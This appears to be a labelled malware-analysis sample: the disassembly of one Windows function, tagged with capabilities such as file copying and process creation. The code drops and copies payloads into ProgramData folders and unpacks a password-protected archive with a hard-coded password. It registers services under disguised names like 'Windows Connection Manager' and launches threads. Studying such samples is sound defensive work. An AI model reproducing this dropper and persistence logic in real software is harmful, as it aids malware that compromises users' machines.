Function at 0x10002150
Capabilities:
Copy file
Create process on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010a90
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x1001a008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x10017e5c
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x10002191
jmp 0x100021ca
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x130], 3
mov dword [ebp - 0x124], 0
push 0x10017e8c
mov edx, dword [ebp - 0x124]
push edx
call fcn.10007a20
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.C:ProgramDataMicrosoft
lea ecx, [ebp - 0x114]
push ecx
call fcn.10001bb0
add esp, 8
test eax, eax
jne 0x100021fb
jmp 0x1000229b
mov edx, 1
test edx, edx
je 0x1000229b
push 0x10017eac
call fcn.10001e80
add esp, 4
test eax, eax
je 0x1000221b
jmp 0x1000228b
push 0
push 0x10017ebc
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x10002279
push 0
push 0x10017ed8
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x10002265
push str.iusb3mon.exe
call fcn.10001e80
add esp, 4
test eax, eax
je 0x10002256
jmp 0x10002263
push 0
push 0x10017f04
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10002277
push 1
push str.C:Microsoftiusb3mon.dat
push str.C:ProgramDataMicrosoftmicrosoft.dat
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x1000228b
push 1
push 0x10017f64
push str.C:ProgramDataMicrosoftmicrosoft.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100021fb
push 0
push str.c:odbc.inst.ini
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x100022b1
jmp 0x100022da
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x100022da
push 0
push 0
push 0
push 0x10001f50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogLog.log
call fcn.10007d20
add esp, 8
cmp eax, 0xffffffff
je 0x100023ab
push 0xc
lea ecx, [ebp - 0x120]
call fcn.10002130
lea ecx, [ebp - 0x120]
call fcn.10002940
mov dword [ebp - 4], 0
push 0x10018024
push 0x10018040
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_templateWatch.dat_C:ProgramData_
push 0x1001805c
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_ziliao.jpg_C:ProgramDataMicrosoftProgram_
push 0x10018114
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.dat_iusb3mon.exe_C:Microsoft_
push str.C:un.exe
push str.Windows_Connection_Manager
lea ecx, [ebp - 0x120]
call fcn.10002e00
push str.C:Microsoft_
push 0x10018318
push str.Adminstrator
push str.C:Microsoftiusb3mon.exe
push str.Storage_Service
lea ecx, [ebp - 0x120]
call fcn.10003890
push 0
push 0
push 0
push 0x10001f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10001c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120]
call fcn.10002c70
jmp 0x100023e4
mov edx, 4
imul eax, edx, 3
mov dword [ebp + eax - 0x138], 3
mov dword [ebp - 0x128], 0
push 0x100183b0
mov ecx, dword [ebp - 0x128]
push ecx
call fcn.10007a20
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 1
test edx, edx
je 0x100023fa
push 0x3b9aca00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100023e4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100041ed
mov esp, ebp
pop ebp
ret 0xc